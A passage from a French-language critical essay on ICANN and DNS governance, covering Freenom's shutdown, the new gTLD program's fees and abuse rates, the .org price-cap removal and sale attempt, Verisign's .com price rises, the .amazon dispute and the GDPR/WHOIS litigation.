.tk, .ml, .ga, .cf, .gq — étaient la source de plus de la moitié de tous les nouveaux domaines de hameçonnage sortant des TLD de code de pays.\nCe qui l\u0026rsquo;a arrêté est la partie qui compte ici.\nPas l\u0026rsquo;ICANN, qui n\u0026rsquo;avait ni contrat ni qualité pour agir. Pas Tokelau, qui encaissait un sixième de son revenu national. Pas la Nouvelle-Zélande. Les avocats de Meta, dans le Northern District of California, en mars 2023, sur des allégations de cybersquattage et de marque.\nFreenom a arrêté les nouveaux enregistrements en quelques jours. Le hameçonnage provenant de ces extensions est tombé de plus de 60 % à moins de 15 %. Freenom a réglé en février 2024 et a quitté le métier des domaines, et dès ce mois de mars, environ 12,6 millions de domaines — 99 % de son portefeuille — avaient cessé de se résoudre.\nLe service juridique d\u0026rsquo;une seule société, dans un seul tribunal américain, a retiré douze millions et demi de noms de l\u0026rsquo;internet. Aucun organe de gouvernance de l\u0026rsquo;histoire du DNS n\u0026rsquo;a jamais exercé autant d\u0026rsquo;autorité sur l\u0026rsquo;espace de noms, et il ne l\u0026rsquo;a pas fait par la gouvernance.\nCe qui est la troisième fois dans ce billet que la réponse à « qu\u0026rsquo;est-ce qui applique réellement quoi que ce soit ici » s\u0026rsquo;avère être un tribunal en Californie — et la deuxième fois que l\u0026rsquo;application était une partie privée agissant dans son propre intérêt commercial, qui à cette occasion coïncidait avec celui de tous les autres.\nEt .uk est un ccTLD aussi. Même absence de tout contrat régissant la façon dont la zone est exploitée, même absence de Spécification 6, même liberté d\u0026rsquo;y mettre un joker ou de distribuer l\u0026rsquo;espace de noms. Il n\u0026rsquo;a fait ni l\u0026rsquo;un ni l\u0026rsquo;autre. Il a fait tourner un processus d\u0026rsquo;abus à la place.\nCe qui est là où la division bien nette cesse d\u0026rsquo;être nette, et il vaut de la gâcher délibérément.\nNominet ne fait pas tourner que .uk. Il fait tourner des domaines de premier niveau génériques aussi — les siens, et plusieurs dizaines d\u0026rsquo;autres pour le compte d\u0026rsquo;autres opérateurs — et pour ceux-là il signe l\u0026rsquo;accord de registre de l\u0026rsquo;ICANN comme tout le monde, Spécification 6 et surveillance continue comprises. Sur sa propre plateforme, la zone non contractée était dépassée en nombre d\u0026rsquo;environ trente pour un.\nLes exigences de l\u0026rsquo;ICANN ont donc atteint .uk quand même. Pas par autorité, qu\u0026rsquo;elle n\u0026rsquo;avait pas, mais parce que personne ne fait sensément tourner deux régimes opérationnels côte à côte pour préserver une exemption pour une seule zone. Vous bâtissez la chose stricte une fois et faites tout tourner dessus.\nC\u0026rsquo;est la même forme que le problème OFAC plus haut : la portée formelle de l\u0026rsquo;ICANN s\u0026rsquo;arrête au contrat, et sa portée réelle continue au-delà, propagée par des opérateurs pour qui se conformer partout est moins cher que de maintenir la distinction. L\u0026rsquo;ensemble des registres effectivement gouvernés par l\u0026rsquo;ICANN est nettement plus grand que l\u0026rsquo;ensemble de ceux qui ont signé quoi que ce soit.\nCe parc, ce que c\u0026rsquo;était de le faire tourner, et ce qui est arrivé à Nominet ensuite est son propre billet.\nCe qui laisse la question à laquelle ce billet n\u0026rsquo;arrête pas d\u0026rsquo;arriver de directions différentes : quand les contrats n\u0026rsquo;atteignent pas, qu\u0026rsquo;est-ce qui empêche réellement un registre de faire tout ce qui lui plaît ?\nUne suite y répondra depuis l\u0026rsquo;intérieur de Nominet — le pipeline de publication, l\u0026rsquo;EPP (le protocole que les bureaux d\u0026rsquo;enregistrement utilisent pour créer et changer des noms dans un registre) et l\u0026rsquo;économie en dessous, la signature à l\u0026rsquo;échelle d\u0026rsquo;un registre, et qui peut réellement retirer un nom. Ce billet parle de la couche au-dessus, et la couche au-dessus n\u0026rsquo;en sort pas bien.\nL\u0026rsquo;argent La charge suivante est plus simple et demande moins d\u0026rsquo;interprétation.\nLe produit qu\u0026rsquo;ils ont inventé En 2012, l\u0026rsquo;ICANN a ouvert les candidatures pour de nouveaux domaines de premier niveau génériques. N\u0026rsquo;importe qui pouvait candidater pour faire tourner une nouvelle chaîne à droite du point, contre des frais d\u0026rsquo;évaluation en grande partie non remboursables de 185 000 $.\nElle a reçu 1 930 candidatures. C\u0026rsquo;est plus de 350 millions de dollars de frais d\u0026rsquo;évaluation, encaissés avant qu\u0026rsquo;une seule chaîne ne soit déléguée. Les candidats qui se sont retirés tôt en ont récupéré une partie sur une échelle dégressive ; la grande majorité est restée.\nL\u0026rsquo;ICANN a décrit les frais comme une récupération de coûts.\nPuis, là où deux candidats voulaient la même chaîne et ne s\u0026rsquo;arrangeaient pas en privé, l\u0026rsquo;ICANN l\u0026rsquo;a mise aux enchères entre eux et a gardé le produit, qui a atteint 240 590 128 $ de plus. Le programme vous facturait donc pour candidater, et vous facturait encore pour gagner.\nPosez la question qui aurait dû être posée en 2008 : quel problème cela résolvait-il ?\nL\u0026rsquo;argument annoncé était la concurrence, le choix et l\u0026rsquo;innovation. Quatorze ans plus tard, les résultats sont mesurables. Environ 1 200 chaînes ont été déléguées. En août 2026, il y a 1 112 nouveaux gTLD tenant environ 48,7 millions de domaines entre eux — contre .com seul à plus de dix fois cela. Le monopole en place n\u0026rsquo;a pas été dérangé le moins du monde. Il a eu une hausse de prix à la place.\nL\u0026rsquo;argument du choix échoue sur ses propres preuves. 34 % des candidatures de 2012 étaient pour des chaînes .marque — une entreprise candidatant pour sa propre marque déposée, en grande partie pour que personne d\u0026rsquo;autre ne puisse l\u0026rsquo;avoir. Ce ne sont de nouveaux choix pour personne. Beaucoup n\u0026rsquo;ont jamais été utilisées du tout. McDonald\u0026rsquo;s n\u0026rsquo;a jamais lancé .mcdonalds. Intel a pris livraison de .intel en juillet 2016 et l\u0026rsquo;a résilié en novembre 2020, Symantec a abandonné .symantec deux mois plus tôt, et SC Johnson a candidaté pour huit chaînes — .scjohnson, .raid, .glade, .off, .duck parmi elles — puis a résilié le tout en janvier 2022. Six ans après la fenêtre de candidature, plus d\u0026rsquo;un nouveau gTLD sur dix n\u0026rsquo;avait toujours pas été lancé, 144 n\u0026rsquo;avaient pas atteint de période de lancement anticipé, et L\u0026rsquo;Oréal était assis sur des chaînes pour lesquelles il n\u0026rsquo;avait jamais annoncé de plan.\nÇa fait beaucoup d\u0026rsquo;espace de noms mort. Voici pourquoi cela ne dérange pas l\u0026rsquo;ICANN.\nSous l\u0026rsquo;accord de registre de base, un opérateur de gTLD paie à l\u0026rsquo;ICANN des frais fixes de 25 000 $ par an, plus 0,25 $ par enregistrement — mais seulement une fois que le TLD passe 50 000 transactions par trimestre. Sous ce seuil, il n\u0026rsquo;y a pas de frais de transaction du tout.\nLisez ce que cela veut dire. Le revenu de l\u0026rsquo;ICANN pour un domaine de premier niveau avec zéro nom dedans est exactement le même que pour un avec quarante mille : 25 000 $ par an, chaque année, pour une délégation que personne n\u0026rsquo;utilise. Une chaîne morte n\u0026rsquo;est pas un échec dans les comptes de l\u0026rsquo;ICANN. C\u0026rsquo;est une rente sans charge de support.\nIl n\u0026rsquo;y avait aucune raison financière pour que l\u0026rsquo;ICANN se soucie que quoi que ce soit de cela marche, et il est difficile de trouver la preuve qu\u0026rsquo;elle s\u0026rsquo;en souciait.\nCe que l\u0026rsquo;internet a eu à la place Le programme a bien produit un effet mesurable, et ce n\u0026rsquo;est pas celui du prospectus.\nLes nouvelles chaînes qui se sont vendues se sont vendues sur le prix. Des registres sans marque et sans demande naturelle ont fait concurrence de la seule façon disponible pour eux, à un dollar ou moins le nom, en masse, avec des vérifications minimales. C\u0026rsquo;est un produit, et il a trouvé son marché.\nL\u0026rsquo;étude Cybercrime Supply Chain 2025 d\u0026rsquo;Interisle a trouvé que les nouveaux gTLD portaient 47 % des domaines de cybercriminalité signalés tout en constituant 12 % du marché des domaines — une surreprésentation d\u0026rsquo;environ six fois. La même étude a enregistré 19,5 millions de domaines uniques utilisés dans des attaques, en hausse de 126 % d\u0026rsquo;une année sur l\u0026rsquo;autre, dont 7,3 millions enregistrés en masse. Le facteur commun qu\u0026rsquo;elle identifie dans les domaines les plus abusés est qu\u0026rsquo;ils sont bon marché.\nL\u0026rsquo;ICANN n\u0026rsquo;a pas créé le hameçonnage. Mais elle a fabriqué 1 200 nouveaux endroits d\u0026rsquo;où le faire, a fixé l\u0026rsquo;entrée de sorte que la seule stratégie viable pour la plupart était le volume à coût quasi nul, et a pris des frais fixes de chacun quoi qu\u0026rsquo;il en sorte.\nL\u0026rsquo;échec vedette du programme lui-même fait mieux le point que n\u0026rsquo;importe quelle statistique. .sucks a été délégué à Vox Populi, qui facturait aux titulaires de marques 2 499 $ le nom pendant le lancement anticipé — un prix fixé exactement parce que les marques devraient le payer pour empêcher quelqu\u0026rsquo;un d\u0026rsquo;autre. La réponse de l\u0026rsquo;ICANN fut de signaler le registre à la Federal Trade Commission américaine pour prix prédateurs. La FTC a constaté qu\u0026rsquo;aucune règle n\u0026rsquo;avait été enfreinte, et a observé que l\u0026rsquo;ICANN avait déjà ignoré plusieurs préoccupations que la FTC avait soulevées sur le programme des nouveaux gTLD.\nC\u0026rsquo;est toute la chose en un épisode. L\u0026rsquo;ICANN conçoit le programme, ignore les avertissements du régulateur à son sujet, délègue la chaîne, prend les frais, puis se plaint au régulateur du résultat prévisible.\nLes candidatures pour la prochaine série ont ouvert en 2026. Les frais sont de 227 000 $.\nLes chaînes trop dangereuses à déléguer Une chose de plus que le programme a produite, et celle-ci est pour quiconque a jamais bâti un réseau interne.\nLes organisations ont toujours inventé des domaines de premier niveau pour un usage interne, en supposant qu\u0026rsquo;un nom qui n\u0026rsquo;existe pas publiquement n\u0026rsquo;existera jamais. .corp. .home. .mail. .local. Choisissez quelque chose, mettez-le dans votre Active Directory, personne à l\u0026rsquo;extérieur ne peut le voir.\nLa série 2012 a proposé d\u0026rsquo;en déléguer certains pour de vrai, moment où chacune de ces suppositions privées devient un problème de sécurité vivant : des noms internes se mettent à se résoudre vers les serveurs de quelqu\u0026rsquo;un d\u0026rsquo;autre, des requêtes qui échouaient se mettent à fuir votre structure interne vers un registre, et des certificats émis pour des noms internes deviennent des certificats pour des noms qu\u0026rsquo;un inconnu contrôle désormais.\nPersonne n\u0026rsquo;avait vérifié. Cela n\u0026rsquo;a fait surface que parce que des chercheurs ont mesuré ce qui était réellement demandé à la racine, et ont trouvé que .home et .corp étaient parmi les chaînes les plus interrogées qui existent — des noms lourdement utilisés qui n\u0026rsquo;avaient jamais été délégués à personne. Le propre Security and Stability Advisory Committee de l\u0026rsquo;ICANN l\u0026rsquo;a soulevé en 2013, après que les candidatures étaient déposées.\n.corp, .home et .mail n\u0026rsquo;ont jamais été délégués. Ils sont encore reportés, indéfiniment, parce que les déléguer casserait trop de choses. Trois chaînes qui ont été demandées et payées se sont avérées trop dangereuses pour exister.\nC\u0026rsquo;est un programme qui a étendu la racine sans d\u0026rsquo;abord établir avec quoi l\u0026rsquo;expansion entrerait en collision, et l\u0026rsquo;a découvert après coup à partir des mesures d\u0026rsquo;autres personnes. Si vous voulez le bout pratique de ceci, c\u0026rsquo;est la raison pour laquelle inventer un TLD interne est une mauvaise idée — l\u0026rsquo;espace de noms que vous avez inventé n\u0026rsquo;est privé que jusqu\u0026rsquo;à ce que quelqu\u0026rsquo;un le vende.\nL\u0026rsquo;argent des enchères Entre juin 2014 et juillet 2016, ces enchères de contention ont encaissé ces 240 590 128 $, environ 233 millions de dollars après les coûts d\u0026rsquo;enchères.\nC\u0026rsquo;est de l\u0026rsquo;argent obtenu en vendant des morceaux d\u0026rsquo;un espace de noms que l\u0026rsquo;ICANN ne possède pas et tient en fiducie. Il y a une réponse défendable à ce qu\u0026rsquo;il devrait advenir de lui, et la communauté a mis en place un groupe de travail inter-communautaire pour en trouver une.\nPendant que ce groupe de travail siégeait encore, le conseil de l\u0026rsquo;ICANN a pris 36 millions de dollars du produit et les a mis dans le propre fonds de réserve de l\u0026rsquo;ICANN, qui accusait un déficit de 68 millions de dollars par rapport à sa cible. Pas proposé — approuvé. Et quand la communauté a objecté, la position qui lui a été présentée était que l\u0026rsquo;alternative était que l\u0026rsquo;ICANN augmente ses frais.\nLe groupe de travail a continué malgré tout. Le conseil n\u0026rsquo;a pas adopté ses recommandations avant juin 2022 — six ans après la dernière enchère, pendant lesquels l\u0026rsquo;ICANN a détenu un quart de milliard de dollars de l\u0026rsquo;argent d\u0026rsquo;autres personnes et s\u0026rsquo;est servie de 36 millions de dollars pendant que les gens décidant à quoi il servait étaient encore dans la salle.\nLes plafonds de prix de .org En mars 2019, l\u0026rsquo;ICANN a proposé de renouveler l\u0026rsquo;accord de registre .org avec les plafonds de prix retirés. Les plafonds étaient la chose qui empêchait l\u0026rsquo;opérateur de .org de facturer ce qui lui plaisait aux associations, ONG et organismes à but non lucratif à qui on avait dit pendant vingt ans que .org était là où ils avaient leur place.\nLe commentaire public a couru. 3 252 commentaires opposés au retrait. Six pour. L\u0026rsquo;opposition comprenait NPR, le YMCA, C-SPAN, la National Geographic Society, l\u0026rsquo;AARP et le National Trust for Historic Preservation — pas les commentateurs habituels de l\u0026rsquo;industrie du domaine, mais précisément la circonscription pour laquelle .org existe.\nLe 1er juillet 2019, l\u0026rsquo;ICANN a signé l\u0026rsquo;accord. Pas d\u0026rsquo;annonce publique. La comparaison du texte signé avec le texte proposé n\u0026rsquo;a montré aucun changement fait en réponse à la période de commentaire. Pas « certaines préoccupations traitées » — le même document.\nSi un processus de commentaire public peut courir 542 contre 1 et ne changer pas un mot, ce n\u0026rsquo;est pas une consultation. C\u0026rsquo;est une formalité qui produit une trace écrite.\nPuis la vente En novembre 2019, quatre mois plus tard, l\u0026rsquo;Internet Society a annoncé qu\u0026rsquo;elle vendait Public Interest Registry — l\u0026rsquo;opérateur à but non lucratif de .org — à Ethos Capital, une société de capital-investissement, pour 1,135 milliard de dollars.\nLe retrait du plafond de prix est ce qui a rendu PIR digne de 1,135 milliard de dollars. Un registre qui ne peut pas augmenter les prix est une rente. Un registre qui le peut est un actif de croissance. L\u0026rsquo;ICANN avait converti le second en le premier quatre mois plus tôt, contre une objection unanime, et le marché l\u0026rsquo;avait immédiatement chiffré.\nEthos Capital avait été établie en mai 2019. Le domaine ethoscapital.com a été enregistré le 8 mai 2019 par Fadi Chehadé, l\u0026rsquo;ancien directeur général de l\u0026rsquo;ICANN — la semaine de l\u0026rsquo;échéance pour que le personnel de l\u0026rsquo;ICANN publie son rapport sur le retrait des plafonds de prix. Son nom n\u0026rsquo;apparaissait nulle part sur le site d\u0026rsquo;Ethos Capital quand l\u0026rsquo;accord a été annoncé. Son implication est devenue publique grâce aux données WHOIS — le registre public de qui possède un domaine, dont la section suivante parle — et l\u0026rsquo;ironie s\u0026rsquo;écrit d\u0026rsquo;elle-même. Ethos a ensuite confirmé qu\u0026rsquo;il avait conseillé sur la transaction, et en juillet 2020 il en est devenu le co-directeur général.\nL\u0026rsquo;ICANN a fini par bloquer la vente, en avril 2020. Il est juste de le noter. Il est aussi juste de noter ce qui l\u0026rsquo;a précédé : des mois d\u0026rsquo;ICANN insistant que l\u0026rsquo;affaire était surtout hors de son ressort, une campagne publique soutenue, des lettres de sénateurs américains, et enfin une lettre du procureur général de Californie mettant l\u0026rsquo;ICANN en garde contre l\u0026rsquo;accord et citant le manque de transparence autour d\u0026rsquo;Ethos Capital.\nL\u0026rsquo;ICANN n\u0026rsquo;était pas le garde-fou ici. L\u0026rsquo;ICANN a retiré les plafonds qui ont créé l\u0026rsquo;opportunité, et a été elle-même arrêtée, à la dernière minute, par un officier de justice d\u0026rsquo;État — ce qui est une démonstration de plus que le vrai mécanisme de responsabilité de ce système est la juridiction californienne plutôt que quoi que ce soit dans les statuts.\nL\u0026rsquo;arrangement Verisign C\u0026rsquo;est le même cocontractant que le joker, quinze ans plus tard. En octobre 2018, la NTIA et Verisign ont signé l\u0026rsquo;Amendement 35 au Cooperative Agreement, levant le gel de prix de .com et permettant des hausses de 7 % par an quatre années sur six.\nC\u0026rsquo;était la décision du gouvernement américain, pas celle de l\u0026rsquo;ICANN. Mais les hausses avaient encore besoin que l\u0026rsquo;accord de registre .com soit amendé, et cela, c\u0026rsquo;est l\u0026rsquo;ICANN. En mars 2020, l\u0026rsquo;ICANN a accepté l\u0026rsquo;Amendement 3 — et à côté une Letter of Intent contraignante sous laquelle Verisign paie à l\u0026rsquo;ICANN 20 millions de dollars sur cinq ans à partir du 1er janvier 2021, pour du travail de sécurité et de stabilité.\nLes deux choses ont été négociées avant l\u0026rsquo;ouverture du commentaire public. La période de commentaire a couru, a été massivement hostile, et n\u0026rsquo;a rien changé — le même schéma que .org, dans la même fenêtre, avec le même résultat.\nPrenez la structure telle quelle. L\u0026rsquo;organe qui décide si un monopoliste peut augmenter les prix a négocié, en même temps et avec le même cocontractant, un paiement à lui-même. Le commentaire public est venu après et était décoratif. Quoi qu\u0026rsquo;on fasse de l\u0026rsquo;argent, un arrangement où le régulateur est payé par le régulé dans la même transaction que la hausse de prix est un arrangement dans lequel aucun régulateur compétent n\u0026rsquo;entrerait, et le mot que les commentateurs ont saisi à l\u0026rsquo;époque — pot-de-vin — est l\u0026rsquo;évident.\nLe .com de gros est passé de 7,85 $ à 10,26 $ sur cette base, sur un nom sans besoin technique de hausse de prix et sans concurrent vers lequel un titulaire peut aller.\nHuit pays contre une entreprise Si vous voulez un seul épisode qui montre à qui l\u0026rsquo;ICANN répond réellement, c\u0026rsquo;est .amazon, et il a duré sept ans.\nAmazon l\u0026rsquo;entreprise a candidaté pour .amazon dans la série 2012. L\u0026rsquo;Amazon Cooperation Treaty Organization a objecté — la Bolivie, le Brésil, la Colombie, l\u0026rsquo;Équateur, le Guyana, le Pérou, le Suriname et le Venezuela, huit États souverains dont le nom décrit le territoire et dans lesquels vivent quelque 30 millions de personnes. Leur position était qu\u0026rsquo;un nom géographique et culturel partagé ne devrait pas devenir la propriété privée d\u0026rsquo;une entreprise.\nIls ont utilisé le canal que l\u0026rsquo;ICANN fournit aux gouvernements. Le Governmental Advisory Committee (GAC) a émis un avis consensuel contre la candidature, et en mai 2014 le conseil de l\u0026rsquo;ICANN l\u0026rsquo;a accepté. Les États avaient gagné, par le mécanisme conçu pour exactement cela.\nAmazon a déposé une plainte en Independent Review Process (IRP).\nEn 2017, le panel IRP a tranché pour Amazon. Il a constaté que le conseil avait agi de façon incompatible avec les propres statuts de l\u0026rsquo;ICANN, a jugé que le conseil ne peut pas traiter l\u0026rsquo;avis consensuel du GAC comme concluant, lui a ordonné de réévaluer les candidatures sur le fond, et a ordonné à l\u0026rsquo;ICANN de rembourser à Amazon 163 045,51 $ de frais.\nEn mai 2019, l\u0026rsquo;ICANN a conclu qu\u0026rsquo;il n\u0026rsquo;y avait aucune raison de politique publique pour que les candidatures ne procèdent pas. Amazon a eu .amazon.\nLisez la structure plutôt que le résultat, parce que le résultat est discutable et la structure ne l\u0026rsquo;est pas.\nLes gouvernements ont le GAC, et le GAC conseille. Une entreprise a l\u0026rsquo;Independent Review Process, et l\u0026rsquo;IRP produit une déclaration contraignante, une directive au conseil, et une attribution de frais. Quand ces deux canaux se sont heurtés de front, la conclusion du panel était explicitement que le canal gouvernemental n\u0026rsquo;est pas concluant.\nL\u0026rsquo;ICANN a donc bien un mécanisme de responsabilité qui marche. Il a marché. Il a été utilisé avec succès par l\u0026rsquo;une des plus grandes entreprises de la terre pour renverser l\u0026rsquo;objection collective de huit pays, et l\u0026rsquo;ICANN a payé ses frais de justice pour le privilège.\nC\u0026rsquo;est le même fait que le problème de juridiction plus tôt dans ce billet, en habits différents. Les mécanismes sont réels, et ils sont façonnés pour que les parties qui ont les moyens de les faire fonctionner soient celles qui en tirent des résultats. Huit gouvernements n\u0026rsquo;ont pas pu faire tenir le canal consultatif. Une entreprise a fait marcher le canal juridique en trois ans.\nLe combat RGPD : ce que l\u0026rsquo;ICANN fait quand une loi s\u0026rsquo;applique à elle La preuve la plus forte au sujet d\u0026rsquo;une institution n\u0026rsquo;est pas sa déclaration de mission. C\u0026rsquo;est ce qu\u0026rsquo;elle fait la première fois qu\u0026rsquo;une règle qu\u0026rsquo;elle n\u0026rsquo;a pas écrite est appliquée contre elle.\nPour l\u0026rsquo;ICANN, ce moment fut le RGPD, et le dossier est sans ambiguïté.\nL\u0026rsquo;ICANN n\u0026rsquo;a pas manqué d\u0026rsquo;avertissements. Elle avait, selon le décompte de The Register, plus d\u0026rsquo;une décennie de lettres lui disant que le WHOIS — publier le nom, l\u0026rsquo;adresse postale, le courriel et le téléphone de chaque titulaire de domaine, à quiconque, sans contrôle d\u0026rsquo;accès — était incompatible avec le droit européen de la protection des données. Le RGPD lui-même a été adopté en 2016 avec un délai de deux ans précisément pour que les organisations puissent se préparer. L\u0026rsquo;ICANN est arrivée en mai 2018 sans modèle conforme.\nCe qu\u0026rsquo;elle a fait à la place, en avril 2018, fut d\u0026rsquo;aller à Bruxelles et de demander au Groupe de travail de l\u0026rsquo;article 29 un moratoire d\u0026rsquo;un an sur l\u0026rsquo;application, plus la permission de continuer à publier les adresses courriel des titulaires entre-temps.\nAsseyez-vous avec ce que cette demande est réellement. Pas un délai pour déposer des papiers. Une demande que les régulateurs européens acceptent de ne pas appliquer un règlement de droit fondamental contre une organisation et ses parties contractantes mondiales, pendant un an, parce que cette organisation ne s\u0026rsquo;était pas mise à s\u0026rsquo;y conformer. Il n\u0026rsquo;y a pas de mécanisme dans le RGPD pour accorder cela. La protection des données est un droit fondamental sous la Charte ; aucune autorité de contrôle et pas le Comité européen de la protection des données n\u0026rsquo;a le pouvoir de la suspendre pour un seul responsable de traitement. L\u0026rsquo;ICANN ne demandait pas une concession qu\u0026rsquo;on lui refusait. Elle demandait quelque chose qui n\u0026rsquo;existe pas, n\u0026rsquo;ayant apparemment pas établi si cela existait.\nLe WP29 a refusé les deux demandes. Le propre résumé de la réunion par l\u0026rsquo;ICANN a concédé que les adresses courriel des contacts titulaire, administratif et technique doivent être anonymisées, et a simplement omis toute mention du moratoire qu\u0026rsquo;elle avait demandé.\nPuis elle a poursuivi en justice.\nLe 25 mai 2018, le jour où le RGPD est entré en vigueur, l\u0026rsquo;ICANN a porté plainte contre EPAG — le bureau d\u0026rsquo;enregistrement allemand de Tucows — à Bonn. EPAG avait décidé de cesser de collecter les coordonnées Admin-C et Tech-C, au motif que collecter des données personnelles dont il n\u0026rsquo;avait pas l\u0026rsquo;usage était exactement ce que le RGPD interdit. La position de Tucows était que dans l\u0026rsquo;écrasante majorité des enregistrements le titulaire, l\u0026rsquo;admin et le tech sont de toute façon la même personne, donc la collecte n\u0026rsquo;était pas seulement illégale, elle était inutile.\nLa théorie juridique de l\u0026rsquo;ICANN était que la base « nécessaire à l\u0026rsquo;exécution d\u0026rsquo;un contrat » du RGPD couvrait la collecte, parce que le propre contrat de l\u0026rsquo;ICANN avec le bureau d\u0026rsquo;enregistrement l\u0026rsquo;exigeait. C\u0026rsquo;est un argument remarquable : qu\u0026rsquo;une organisation peut fabriquer une base légale pour traiter les données personnelles d\u0026rsquo;autrui en écrivant une obligation de les collecter dans un contrat avec un tiers. Si cela marchait, l\u0026rsquo;article 6(1)(b) serait une formalité que n\u0026rsquo;importe qui pourrait satisfaire en rédigeant.\nCela n\u0026rsquo;a pas marché. L\u0026rsquo;ICANN a perdu à Bonn. Elle a fait appel. Elle a perdu de nouveau. En août 2018, la cour d\u0026rsquo;appel de Cologne l\u0026rsquo;a rejeté une troisième fois, a trouvé les décisions antérieures convaincantes, a jugé qu\u0026rsquo;il n\u0026rsquo;y avait pas d\u0026rsquo;urgence imminente justifiant une injonction, et — c\u0026rsquo;est la partie qui vaut d\u0026rsquo;être lue deux fois — a refusé la demande de l\u0026rsquo;ICANN de renvoyer la question à la Cour de justice de l\u0026rsquo;Union européenne au motif que l\u0026rsquo;interprétation juridique de l\u0026rsquo;ICANN n\u0026rsquo;était pas déterminante pour la décision. La cour n\u0026rsquo;a pas jugé l\u0026rsquo;argument assez proche pour valoir la peine de demander à Luxembourg.\nL\u0026rsquo;ICANN a dépensé l\u0026rsquo;argent des membres à essayer de pousser l\u0026rsquo;affaire vers cette cour quand même. En 2019, elle a abandonné le WHOIS entièrement.\nLe résultat technique était correct — le WHOIS tel qu\u0026rsquo;il existait n\u0026rsquo;aurait pas dû exister. Mais regardez comment il a été atteint. Dix ans d\u0026rsquo;avertissements ignorés. Une demande d\u0026rsquo;exemption d\u0026rsquo;un droit fondamental. Un litige contre sa propre partie contractante, déposé le jour où la loi est entrée en vigueur, pour établir que la loi ne s\u0026rsquo;appliquait pas de la façon dont les régulateurs disaient qu\u0026rsquo;elle s\u0026rsquo;appliquait. Trois défaites. Puis la capitulation.\nCe n\u0026rsquo;est pas une organisation qui a mal lu un texte. C\u0026rsquo;est une organisation qui n\u0026rsquo;a pas accepté, jusqu\u0026rsquo;à ce que les tribunaux le lui disent trois fois, que la loi lui était adressée tout court.\nCe que cela a coûté à tous les autres L\u0026rsquo;essentiel de ce billet parle de ce que l\u0026rsquo;ICANN et les registres ont fait. Ceci parle de qui a payé, parce que c\u0026rsquo;était très rarement eux.\nChaque titulaire de .com de la terre paie la hausse. Le .com de gros est passé de 7,85 $ à 10,26 $. Le propre rapport de Verisign situe la base .com à 163,6 millions de noms au 31 mars 2026. Multipliez les deux et cette hausse vaut de l\u0026rsquo;ordre de 394 millions de dollars par an, pris à chaque titulaire d\u0026rsquo;un .com partout dans le monde, pour un nom qui n\u0026rsquo;avait besoin d\u0026rsquo;aucun changement technique pour la justifier. Une entreprise à Lagos ou Manille paie la même hausse qu\u0026rsquo;une à Palo Alto, décidée par une agence américaine et un organisme à but non lucratif américain qui a pris 20 millions de dollars au bénéficiaire dans la même négociation.\nLa décision .org atterrit sur les associations du monde entier. .org a été vendu au secteur à but non lucratif pendant vingt ans comme la partie de l\u0026rsquo;espace de noms qui leur appartenait. Lever les plafonds était une décision que quiconque le fait tourner peut leur facturer ce que le trafic supportera. NPR et le YMCA peuvent absorber cela. Une petite ONG travaillant sur une subvention ne le peut pas, et elle n\u0026rsquo;a pas non plus été consultée — 3 252 contre, six pour, signé sans un mot changé.\nLe fardeau de l\u0026rsquo;abus est porté par tous ceux qui font tourner un serveur de courrier. Les nouveaux gTLD sont 12 % du marché et 47 % des domaines de cybercriminalité signalés. Chacun de ces noms arrive dans la boîte de réception de quelqu\u0026rsquo;un d\u0026rsquo;autre, la file d\u0026rsquo;abus de quelqu\u0026rsquo;un d\u0026rsquo;autre, les pertes de fraude de quelqu\u0026rsquo;un d\u0026rsquo;autre. L\u0026rsquo;ICANN a encaissé 185 000 $ par candidature et encaisse 25 000 $ par an par chaîne quoi qu\u0026rsquo;il arrive. Le coût de ce que les chaînes bon marché ont ensuite produit retombe sur chaque opérateur de courrier, chaque banque, chaque équipe de sécurité et chaque personne prise par une page de hameçonnage. C\u0026rsquo;est une externalité au sens du manuel, et le programme a été conçu sans une ligne sur qui la porterait.\nSite Finder a cassé la sémantique d\u0026rsquo;échec de la planète entière d\u0026rsquo;un coup. Cela vaut d\u0026rsquo;être dit clairement parce qu\u0026rsquo;il est facile de le lire comme une histoire américaine. Il y a une racine et un .com. Quand Verisign a changé ce qu\u0026rsquo;un nom inexistant fait, il l\u0026rsquo;a changé pour chaque réseau de la terre simultanément — y compris chaque réseau sans relation avec Verisign, sans mot à dire dans la décision, et sans issue sauf corriger ses propres résolveurs, ce qu\u0026rsquo;un grand nombre d\u0026rsquo;entre eux ont fini par faire.\nLe WHOIS s\u0026rsquo;est éteint pour les gens qui l\u0026rsquo;utilisaient contre l\u0026rsquo;abus. Les deux torts ici sont réels et les deux étaient évitables. Publier le nom, l\u0026rsquo;adresse, le courriel et le téléphone de chaque titulaire à quiconque demandait était un tort réel, vieux de décennies, à des gens partout dans le monde, et le RGPD avait raison là-dessus. Mais l\u0026rsquo;ICANN avait plus de dix ans d\u0026rsquo;avertissement et aucun plan, donc mai 2018 n\u0026rsquo;a pas été un passage géré à un accès à niveaux. Ce fut un arrêt brutal. Les chercheurs anti-abus, les équipes de sécurité et les forces de l\u0026rsquo;ordre, y compris bien hors d\u0026rsquo;Europe, ont perdu un outil qui marchait du jour au lendemain parce que l\u0026rsquo;ICANN a passé le délai à plaider au lieu de bâtir le remplacement. L\u0026rsquo;exposition avant et le vide après appartiennent tous deux au même défaut de préparation.\nEt 12,6 millions de noms ont cessé de se résoudre. L\u0026rsquo;effondrement de Freenom a été un bon résultat pour les chiffres du hameçonnage. Ce n\u0026rsquo;a pas été un bon résultat pour tous ceux qui utilisaient un .tk ou .ml gratuit parce qu\u0026rsquo;ils ne pouvaient pas se permettre 10 $ par an, et il y en avait un grand nombre, de façon disproportionnée dans des lieux où 10 $ n\u0026rsquo;est pas rien. Quand le seul espace de noms gratuit de l\u0026rsquo;internet est aussi le plus abusé, les gens qui le perdent quand il part ne sont pas les criminels. Ils ont déménagé vers la prochaine chose bon marché la semaine d\u0026rsquo;après.\nLa forme est constante. Les décisions sont prises en Californie, le revenu est encaissé en Californie, et les coûts sont distribués mondialement à des gens sans vote, sans contrat et sans tribunal qu\u0026rsquo;ils peuvent atteindre.\nEt seulement devant des tribunaux américains Maintenant que le dossier est là, revenez au point de juridiction du début de ce billet, parce qu\u0026rsquo;il fait plus de travail que la constitution.\nTout le monde dans le monde est soumis à ce que l\u0026rsquo;ICANN décide. Les gens qui peuvent y faire quoi que ce soit sont ceux qui peuvent plaider en Californie.\nConsidérez qui cela exclut. Un opérateur de ccTLD au Cameroun. Un titulaire à Téhéran dont le domaine a été retiré parce qu\u0026rsquo;un bureau d\u0026rsquo;enregistrement a sur-appliqué l\u0026rsquo;OFAC qui ne l\u0026rsquo;a jamais lié. Un bureau d\u0026rsquo;enregistrement à Bonn — ce qui est exactement pourquoi le combat entre l\u0026rsquo;ICANN et EPAG a dû se dérouler comme une affaire allemande sur le droit allemand, et pas du 